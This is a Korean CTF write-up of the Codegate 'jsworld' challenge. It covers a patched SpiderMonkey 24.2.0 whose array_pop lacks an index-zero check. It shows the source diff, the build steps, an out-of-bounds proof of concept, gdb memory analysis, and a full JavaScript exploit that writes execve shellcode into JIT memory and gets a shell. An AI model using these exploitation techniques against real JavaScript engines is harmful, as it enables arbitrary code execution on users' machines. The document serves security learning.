본문으로 바로가기

Browser (1) - Codegate Jsworld write-up

Contents

  • Environment configuration

  • Vulnability analysis

  • PoC

  • Analysis

  • Exploit


Environment configuration

일단 문제에서 주어지는 파일은 다음(jsworld,jsarray.cpp)과 같다. jsarray.cpp를 확인해보면, mozilla등의 문자열을 확인할 수 있으며, 이를 통하여 mozilla재단에서 관리하는 SpiderMonkey엔진의 코드를 일부 수정한 것임을 추측할 수 있다.

파일도 받았으니 환경설정을 진행해보자. bash에서 아래와 같은 명령어를 입력하면 된다.


일단 의존 패키지부터 다운받아보자.

sudo apt-get install python-pip gcc make g++ perl python autoconf -y


그 다음은 mozilla spidermonkey를 다운 할 차례이다.

mkdir mozilla
cd mozilla
wget http://ftp.mozilla.org/pub/mozilla.org/js/mozjs-24.2.0.tar.bz2
tar xjf mozjs-24.2.0.tar.bz2

이렇게 명령어를 입력하게 되면 mozilla 24.2.0을 다운받을 수 있다. 모질라 폴더 안에는 javascript구현의 코드 등을 확인 할 수 있다.


이렇게 코드를 다운받은 이유는 바로 문제에서 주어진 jsarray.cpp파일과 /mozjs-24.2.0/js/src/jsarray.cpp파일을 비교하기 위해서이다. 두 파일을 diff해서 어떠한 부분이 달라졌는지 분석을 진행해보자.


Vulnability analysis

juntae@ubuntu:~/browser/jsworld/mozilla$ diff ./jsarray.cpp ./mozjs-24.2.0/js/src/jsarray.cpp
1947c1947,1950
<
---
>     if (index == 0) {
>         /* Step 4b. */
>         args.rval().setUndefined();
>     } else {
1959c1962
<
---
>     }
1964c1967
<     if (obj->isNative())
---
>     if (obj->isNative() && obj->getDenseInitializedLength() > index)

아래 obj->isNative()부분은 달라진게 확연하게 차이가 나지만 솔직히 index부분에는 무슨 차이점이 있는지 잘 구별이 가지 않았다. 그래서 원본 코드를 직접 확인해보았다.


juntae@ubuntu:~/browser/jsworld/mozilla$ cat --number ./mozjs-24.2.0/js/src/jsarray.cpp | grep "index == 0"
  111    if (index == 0 && s != end)
 1947    if (index == 0) {

위와같은 명령어로 어디 부분에서 index를 처리하는지 파악할 수 있었고, 해당 라인으로 가서 자세히 확인해보았다.


Before patch

JSBool
js::array_pop(JSContext *cx, unsigned argc, Value *vp)
{
   CallArgs args = CallArgsFromVp(argc, vp);

   /* Step 1. */
   RootedObject obj(cx, ToObject(cx, args.thisv()));
   if (!obj)
       return false;

   /* Steps 2-3. */
   uint32_t index;
   if (!GetLengthProperty(cx, obj, &index))
       return false;

   /* Steps 4-5. */
   if (index == 0) {
       /* Step 4b. */
       args.rval().setUndefined();
  } else {
       /* Step 5a. */
       index--;

       /* Step 5b, 5e. */
       JSBool hole;
       if (!GetElement(cx, obj, index, &hole, args.rval()))
           return false;

       /* Step 5c. */
       if (!hole && !DeletePropertyOrThrow(cx, obj, index))
           return false;
  }

해당 함수는 js::array_pop으로, javascript에서 배열을 pop할때를 처리해주는 부분이였다. index가 0일때를 중점적으로 보면, args.rval().setUndefined();를 실행하고, 아무 동작도 하지 않은체 프로그램이 중단된다.

만약, index가 0이 아니라면, pop을 수행하며 index가 감소된다.


After patch

JSBool
js::array_pop(JSContext *cx, unsigned argc, Value *vp)
{
   CallArgs args = CallArgsFromVp(argc, vp);

   /* Step 1. */
   RootedObject obj(cx, ToObject(cx, args.thisv()));
   if (!obj)
       return false;

   /* Steps 2-3. */
   uint32_t index;
   if (!GetLengthProperty(cx, obj, &index))
       return false;

   /* Steps 4-5. */

       /* Step 5a. */
       index--;

       /* Step 5b, 5e. */
       JSBool hole;
       if (!GetElement(cx, obj, index, &hole, args.rval()))
           return false;

       /* Step 5c. */
       if (!hole && !DeletePropertyOrThrow(cx, obj, index))
           return false;

step 4.5if (index == 0) {부분이 사라진 것을 확인할 수 있다. index가 0일때의 예외 처리를 해주지 않아서 Out Of Boundary가 발생한다는 것을 추측할 수 있다. 이제 이를 활용하여 exploit을 작성하기 위해 바이너리를 빌드하고 직접 PoC를 작성해보자.


이제 mozjs-24.2.0/js/src/jsarray.cpp를 문제에서 주어진 파일로 수정 한 후에, build를 진행하자.

rm ./mozjs-24.2.0/js/src/jsarray.cpp
cp ./jsarray.cpp ./mozjs-24.2.0/js/src/jsarray.cpp
mkdir build
cd build
../mozjs-24.2.0/js/src/configure
make

configure과정은 해당 디바이스에 필요한 패키지가 있는지 검사하는 과정이다. 만약 패키지가 존재하지않으면 설치해주며 build폴더를 정리해 준 후, 다시 configure한다.


make[2]: Leaving directory '/home/juntae/browser/jsworld/mozilla/build/gdb'
make[1]: Leaving directory '/home/juntae/browser/jsworld/mozilla/build'
if test -d dist/bin ; then touch dist/bin/.purgecaches ; fi
juntae@ubuntu:~/browser/jsworld/mozilla/build$

빌드 끝!

빌드가 끝났으면 /build/shell/js 파일이 생기고, 이 파일을 실행시키면 js 쉘이 실행된다. 또한, 이 바이너리는 /build/js파일(Symbolic link)로도 존재한다.


PoC

간단하게 PoC코드를 작성해보자. 참고로 나는 js코드를 태어나서 처음 작성해본다.

a = [1,2]
b = [3,4]

for(var i = 0; i < 3; i++)
a.pop()

print("length : " + a.length)

for(var i = 0; i < 10; i++)
print(a[i])

일단 배열 a, 배열 b 2개를 만들어주고 pop을 해서 OOB를 트리거 해보았다.

작성한 익스플로잇 코드는 ./build/js ex.js이런식으로 실행할 수 있다.


juntae@ubuntu:~/browser/jsworld/mozilla$ ./build/js ex.js 
length : 4294967295
undefined
undefined
6.92581593300675e-310
6.9258159285835e-310
0
6.92581593274233e-310
4.243991582e-314
4.243991583e-314
3
4

일단 length가 429496795(0xffffffff)가 나온 이유에 대해서 살펴보면, array a의 사이즈가 pop을 3번 거치며 2 -> 1 -> 0 -> -1 으로 변하게 된다. 따라서 length 또한 0xffffffff가 나오게 된다. 즉, 배열중 원하는 인덱스로 접근해서 데이터를 읽고 쓸 수 있는 것이다.


undefinded는 원래 배열의 요소인 1,2가 pop되었기 때문에 출력되는 값이다.

아래 이상한 소수는 메모리 영역의 값일 것 이라고 추측할 수 있고, 그 아래 3,4는 array b의 요소임을 추측할 수 있다.

자, 이제 이상한 소수같은걸 우리가 알아볼 수 있는 값으로 바꾸는 작업이 필요하다. pwntools에서 p64(),u64()를 했던것 처럼 말이다.

기본적으로 spider monkey에서는 jsValuedouble형(8bytes)으로 표현한다. 따라서, doubleint형(4bytes)으로, intdouble로 변환하는 과정이 필요하다.

function dtoi(data)
{
var buffer = ArrayBuffer(8);
var floatArray = new Float64Array(buffer);
var bytes = Uint8Array(buffer,0,8);

floatArray[0] = data

tmp = "";
for(var i = 0; i < bytes.length; i++)
tmp += ("0" + bytes[bytes.length - 1 - i].toString(16)).substr(-2)

var value = parseInt(tmp,16)
return value
}

var buffer = ArrayBuffer(8); : 8바이트 buffer 할당

var floatArray = new Float64Array(buffer); : 8바이트 float array할당 - 데이터는 buffer라는 변수에 들어가게 됨

var bytes = Uint8Array(buffer,0,8); : 8바이트짜리 array할당 - 데이터는 buffer라는 변수에 들어가게됨

만약 data를 6.94933744374434e-310라고 하면..


floatArray[0] = data : floatArraydata(6.94933744374434e-310)가 들어감.

현재 byte에는 각각 값이 들어가있는 상태이며 이를 ("0" + bytes[bytes.length - 1 - i].toString(16)).substr(-2)를 통하여 파싱하여 16진수 문자열 꼴로 만든다.

6.94933744374434e-310 -> 00007fed10331820 -> 0x7fed10331820

최종적으로는 만든 문자열을 int형으로 변환해준다.


function itod(data)
{
var buffer = new ArrayBuffer(8);
var f = new Float64Array(buffer);
var bytes = Uint8Array(buffer);

var res = [];
var hexed = ("0000000000000000" + data.toString(16)).substr(-16);
for (var i = 0; i < 16; i+=2)
res.push(parseInt(hexed.substr(i, 2), 16));

bytes.set(res.reverse());
return f[0];
}

이런식으로 int to double도 만들 수 있다!


juntae@ubuntu:~/browser/jsworld/mozilla$ ./jsworld ex.js 
length : 0xffffffff
0x7ff8000000000000
0x7ff8000000000000
0x7fdf17746358
0x7fdf17731820
0x0
0x7fdf17742f70
0x200000000
0x200000002
0x4008000000000000
0x4010000000000000

이제 깔끔하게 출력되는 모습이다.


Analysis

일단 익스를 위해서는 자바스크립트의 array객체에 대해서 알아야하는데.. 아래와 같은 코드를 작성 한 후 디버깅을 시작해보자.

a = [0x41414141, 0x42424242, 0x43434343]
a.length = 0xdeadbeef
Math.atan(a)

Math.atan은 디버깅을 위해서 주로 사용되는 함수라고 한다.

참고로 Math.atan은 탄젠트를 적용했을 때 지정된 숫자가 나오는 각도를 반환한다고 한다.

일단 gdbjsworld를 열어주고, js::math_atan함수에 bp를 걸고 r debug.js와 같이 실행한다.

근데 jsworld를 인자로 줬더니 잘 안된다. 그래서 build디렉토리 아래에 있는 build/js를 gdb로 실행해야 정상적으로 디버깅을 진행할 수 있다.


──────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────
In file: /home/juntae/browser/jsworld/mozilla/mozjs-24.2.0/js/src/jsmath.cpp
  202     return cache->lookup(atan, x);
  203 }
  204
  205 JSBool
  206 js::math_atan(JSContext *cx, unsigned argc, Value *vp)
207 {
  208     CallArgs args = CallArgsFromVp(argc, vp);
  209
  210     if (args.length() == 0) {
  211         args.rval().setDouble(js_NaN);
  212         return true;

gdb로 보면 이런식으로 나오는데, 여기서 3번째 인자가 우리의 배열 a이다.


pwndbg> x/4gx $rdx
0xbc8c98: 0xfffbfffff6146180 0xfffbfffff6136080
0xbc8ca8: 0xfffbfffff6144ac0 0xfffbfffff6125fd0

근데 여기서 보면 값이 조금 이상하게나온다. 원래 64bit에서는 주소를 6바이트로 표현하는데 js에서는 조금 다르다. 2.5바이트는 Type을 의미하고, 하위 5.5바이트가 Value를 의미한다고 한다.

따라서, ff ff f6 14 61 80에서 앞에 ff7f로 바꿔서 생각하면 된다. 우리가 잘 알고있듯이 주소는 0x7f로 시작하기 때문이다.


이중 3번째 주소 0xfffbfffff6144ac0를 위에서 설명한 방법으로 바꾼 후 확인해보면 아래와 같다.

0x7ffff6144ac0: 0x00007ffff61475d8  0x00007ffff6131820
0x7ffff6144ad0: 0x0000000000000000 0x00007ffff6144af0
0x7ffff6144ae0: 0x0000000300000000 0xdeadbeef00000006
0x7ffff6144af0: 0xfff8800041414141 0xfff8800042424242
0x7ffff6144b00: 0xfff8800043434343 0x0000000000000000

0x00007ffff6144af0 : 배열 안에 들어있는 데이터의 시작점(현재 AAAA를 가르키고 있음)

0x0000000300000000 : C++로 할당된 js배열의 크기

0xdeadbeef00000006 : Javascript에서 할당한 가상 배열의 크기

사실 여기서 Javascript의 가상 배열의 크기를 바꾸면 oob가 트리거 되지 않는다. 즉, C++배열의 크기를 바꿔줘야 하는데, pop을 하게 되면 C++배열의 length또한 같이 바뀌기 때문에 이를 통해서 취약점을 트리거 할 수 있다.

0xfff8800041414141 : 배열의 첫번째 인덱스의 데이터

0xfff8800042424242 : 배열의 두번째 인덱스의 데이터

0xfff8800043434343 : 배열의 세번째 인덱스의 데이터

또한 익스를 진행하기 전에, JIT에 대해서 간단하게 설명해보겠다.


JIT자주 사용하는 코드를 미리 바이트 코드로 만들어놓고, 메모리에 올려서 실행하는 것을 말한다. 이때, 메모리에 실행권한이 모든 권한이 부여된다. 따라서 해당 주소를 쉘코드로 overwrite한다면, 쉘코드를 실행할 수 있다.


JIT코드가 트리거 될때는 mozjs-24.2.0/js/src/jit/BaselineJIT.cppEnterbase함수가 실행된다. 따라서 mozjs-24.2.0/js/src/jit/BaselineJIT.cpp파일의 EnterBase함수를 수정하면 된다.

 79 EnterBaseline(JSContext *cx, EnterJitData &data)
80 {
81     JS_CHECK_RECURSION(cx, return IonExec_Aborted);
82     JS_ASSERT(jit::IsBaselineEnabled(cx));
83     JS_ASSERT_IF(data.osrFrame, CheckFrame(data.osrFrame));
84
85     EnterIonCode enter = cx->compartment()->ionCompartment()->enterBaselineJIT();
86
87     // Caller must construct |this| before invoking the Ion function.
88     JS_ASSERT_IF(data.constructing, data.maxArgv[0].isObject());
89
90     data.result.setInt32(data.numActualArgs);
91     {
92         AssertCompartmentUnchanged pcc(cx);
93         IonContext ictx(cx, NULL);
94         JitActivation activation(cx, data.constructing);
95         JSAutoResolveFlags rf(cx, RESOLVE_INFER);
96         AutoFlushInhibitor afi(cx->compartment()->ionCompartment());
97
98         if (data.osrFrame)
99             data.osrFrame->setRunningInJit();
100
101         JS_ASSERT_IF(data.osrFrame, !IsJSDEnabled(cx));
102
103         // Single transition point from Interpreter to Baseline.
104        
105         printf("JIT: %p\n", data.jitcode);
106        
107         enter(data.jitcode, data.maxArgc, data.maxArgv, data.osrFrame, data.calleeToken,
108               data.scopeChain, data.osrNumStackValues, data.result.address());
109        
110         if (data.osrFrame)
111             data.osrFrame->clearRunningInJit();
112     }

대충 요런식으로 말이다. printf("JIT: %p\n", data.jitcode);를 추가했다.

수정한 후 다시 make를 해주면 된다.


function shell()
{
print("Hello, world!")
}

a = [1,2]
b = [3,4]

for(let i = 0; i < 3; i++)
a.pop()

print("length : " + hex(a.length))

for(let i = 0; i < 20; i++)
shell()

Math.atan(a)

위와같은 코드를 다시 짜서 돌려보았다.


Hello, world!
Hello, world!
Hello, world!
Hello, world!
Hello, world!
JIT: 0x7ffff7ff3661
Hello, world!
Hello, world!
Hello, world!
Hello, world!
Hello, world!
JIT: 0x7ffff7ff3a00
Hello, world!
JIT: 0x7ffff7ff3a00
Hello, world!
Hello, world!
Hello, world!
Hello, world!
Hello, world!
Hello, world!
Hello, world!
Hello, world!
Hello, world!

첫번째 JIT말고 두번째, 세번째 JIT코드를 보면 일치하는것을 알 수있다. 해당부분의 주소가 shell함수의 JIT주소임을 추측할 수 있다.


Exploit

이제 익스를 해보자! 일단 현재 익스 계획은 아래와 같다.

  1. 배열 a,b를 만듬

  2. pop으로 OOB를 트리거해서 배열의 length0xffffffff으로 만듬.

  3. 두번째 배열의 위치 확인

  4. 두번째 배열의 주소를 JIT코드가 있는 주소로 overwrite

  5. 두번째 배열에 payload삽입


일단 배열의 주소는 위에서도 봤듯이 데이터가 시작하기 "전전전"에 있다. 디버깅해서 확인해보면 5번째 인덱스에 위치한다. 해당주소를 JIT코드로 덮으면 된다.


pwndbg> search -t qword 0x7ffff7ff3a00
              0x7ffff6138330 0x7ffff7ff3a00
              0x7ffff6138338 0x7ffff7ff3a00
              0x7ffff614b340 0x7ffff7ff3a00

JIT코드가 존재하는 주소를 찾아보았는데, 앞에 두개는 배열 이전이고, 마지막 주소가 배열 이후이다. 근데 배열과 거리가 좀 먼것을 볼 수 있는데, 코드를 짜서 해결하면 된다.

일단 JIT코드의 16바이트 앞에 0x0000015000000161이라는 값이 있는데, 이걸 기준으로 JIT코드를 찾으면 된다.


그다음은 쉘코드를 넣으면 되는데, 문제는 자바스크립트에는 8바이트짜리 int라는게 존재하지 않는다. 8바이트짜리 자료형은 오직 실수만 존재한다는 것.

그래서 쉘코드를 4바이트씩 끈어서 적어야한다..

function dtoi(data)
{
    var buffer = ArrayBuffer(8);
    var floatArray = new Float64Array(buffer);
    var bytes = Uint8Array(buffer,0,8);

    floatArray[0] = data

    tmp = "";
    for(var i = 0; i < bytes.length; i++)
        tmp += ("0" + bytes[bytes.length - 1 - i].toString(16)).substr(-2)

    var value = parseInt(tmp,16)
    return value
}

function itod(data)
{
    var buffer = new ArrayBuffer(8);
    var f = new Float64Array(buffer);
    var bytes = Uint8Array(buffer);

    var res = [];
    var hexed = ("0000000000000000" + data.toString(16)).substr(-16);
    for (var i = 0; i < 16; i+=2)
        res.push(parseInt(hexed.substr(i, 2), 16));

    bytes.set(res.reverse());
    return f[0];
}

function hex(data)
{
    var value = "0x" + data.toString(16);
    return value
}

function shell()
{
    print("Hello, world!")
}

a = [1,2]
b = [3,4]

for(let i = 0; i < 3; i++)
    a.pop()

print("length : " + hex(a.length))

for(let i = 0; i < 12; i++)
    shell()
    ​
var offset = 5
var jit = undefined
for(let i = 0; i < 1000000; i++)
{
    if(dtoi(a[i]) == parseInt("0x0000015000000161",16))
    {
        jit = i - 2
        break
    }
}

shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

for (var i = 0; i < shellcode.length % 4; i++)
    shellcode += "\x90"

for (var i = 0; i < (shellcode.length / 4); i++)
{
    s = shellcode.substr(i*4, (i*4)+4)

    r =  s[3].charCodeAt() * 0x01000000
    r += s[2].charCodeAt() * 0x00010000
    r += s[1].charCodeAt() * 0x00000100
    r += s[0].charCodeAt() * 0x00000001

    a[offset] = itod(dtoi(a[jit]) + 4 * i);
    b[0] = itod(r)
}

shell()

자바스크립트로 익스를 짜는 날이 다오네요 ㅎㅎ..

shellcode.substr(A,B) : A에서 B까지 반환

charCodeAt() : 해당 문자 유니코드로 반환


juntae@ubuntu:~/browser/jsworld/mozilla$ ./build/js ex.js 
length : 0xffffffff
Hello, world!
Hello, world!
Hello, world!
Hello, world!
Hello, world!
JIT: 0x7f44d883f7e5
Hello, world!
Hello, world!
Hello, world!
Hello, world!
Hello, world!
JIT: 0x7f44d8840940
Hello, world!
JIT: 0x7f44d8840940
Hello, world!
JIT: 0x7f44d8841208
JIT: 0x7f44d8841208
JIT: 0x7f44d8823248
JIT: 0x7f44d8823248
JIT: 0x7f44d8823248
JIT: 0x7f44d8840940
$

처음으로 해본 JS exploit.. 다음에는 다른 문제를 들고와 보겠습니당


Reference